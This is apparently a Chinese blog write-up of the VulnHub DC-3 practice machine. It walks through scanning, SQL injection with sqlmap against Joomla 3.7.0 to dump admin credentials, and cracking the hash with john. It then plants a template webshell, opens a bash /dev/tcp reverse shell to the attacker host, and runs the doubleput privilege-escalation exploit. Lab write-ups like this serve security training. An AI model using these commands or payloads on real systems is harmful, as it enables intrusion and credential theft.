vulnhub DC-3
信息搜集
探测局域网内存活主机
nmap -sP 192.168.19.128/24
得到192.168.19.130,然后扫描探测开放的端口
nmap -p- 192.168.19.130
发现只有80端口开放,我们在浏览器中访问
渗透
按照上面的提示我们需要进行登录,提权等一系列操作.
先用whatweb进行一下扫描
whatweb -v 192.168.19.130
发现使用的是3.7.0版本的joomla框架.joomla是一种开源的cms框架.我们可以通过kali下的joomscan自动化工具进行版本和漏洞枚举.
joomscan -u 192.168.19.130
扫描得知admin finder(管理登录页面)为http://192.168.19.130/administrator/
我们可以使用searchsploit来进行漏洞搜索
searchsploit joomla 3.7.0
我们可以看到该版本存在两个漏洞,我们选择该版本特有的去打
searchsploit -p 42033
查看该exp对应的路径
然后直接查看该exp文件,发现给出了这个漏洞的sqlmap利用方法
我们把这个localhost换成靶机的ip进行扫描
sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
得到如下数据库
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
我们想要的是joomladb中的内容,因此我们爆破joomladb下的表
sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
得到了七十多个表,感觉其中的#__users
表会有说法,我们爆一下其中的列
sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns
对username和password进行查看
sqlmap -u "http://192.168.19.130//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C "username,password" --dump
得到了账号和密码
username=admin,password=$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
我们不难猜出这个password是经过某种hash加密的结果.这里我们可以使用john来进行模糊哈希破解
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > password
john password
得到了密码为snoopy
此时我们就能从之前得到的http://192.168.19.130/administrator/
进行admin登录
接下来我们需要反弹一个shell.
在Extensions->Templates->Templates中创建文件,写一个文件马
然后我们使用蚁剑进行连接http://192.168.19.130/templates/beez3/webshell.php
.注意:其中的templates/beez3这个路径是由joomla得到的,由于我们把马写到了根目录,因此连接路径如上.
提权
查看服务器的版本信息
cat /etc/issue
我们使用searchexploit去寻找该版本ubuntu存在的漏洞
发现其中的39772是有关previlege escalation的,我们选择这个打.
我们查看这个39772号文件,发现给出了漏洞利用方法和相应的文件以及使用方法
我们将39772.zip通过蚁剑传到tmp下(确保一定有写文件权限),然后执行如下命令
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
发现多了个doubleput文件,但是尝试执行却并没有成功获得权限.这里不知道为什么
将shell反弹到kali下,在kali监听端口
nc -lvp 2333
然后在蚁剑中去反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1'
这里解释一下这个反弹shell的命令:
bash -c
是将后面的字符串当做bash命令执行.
bash -i
启动一个交互式的shell,>&
表示将标准输出和标准错误进行重定向.
/dev/tcp/192.168.19.128/2333
是一个特殊的文件路径,反映了linux可以通过文件路径进行网络连接的特点.
0>&1
表示将标准输入重定向到和标准输出相同的地方.
然后我们回到kali下,发现可以进行交互,运行
./doubleput
成功提权,回到root home即可查看flag.
存在一个疑问点,就是为什么在蚁剑下不能进行提权,但是反弹shell后反而可以
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程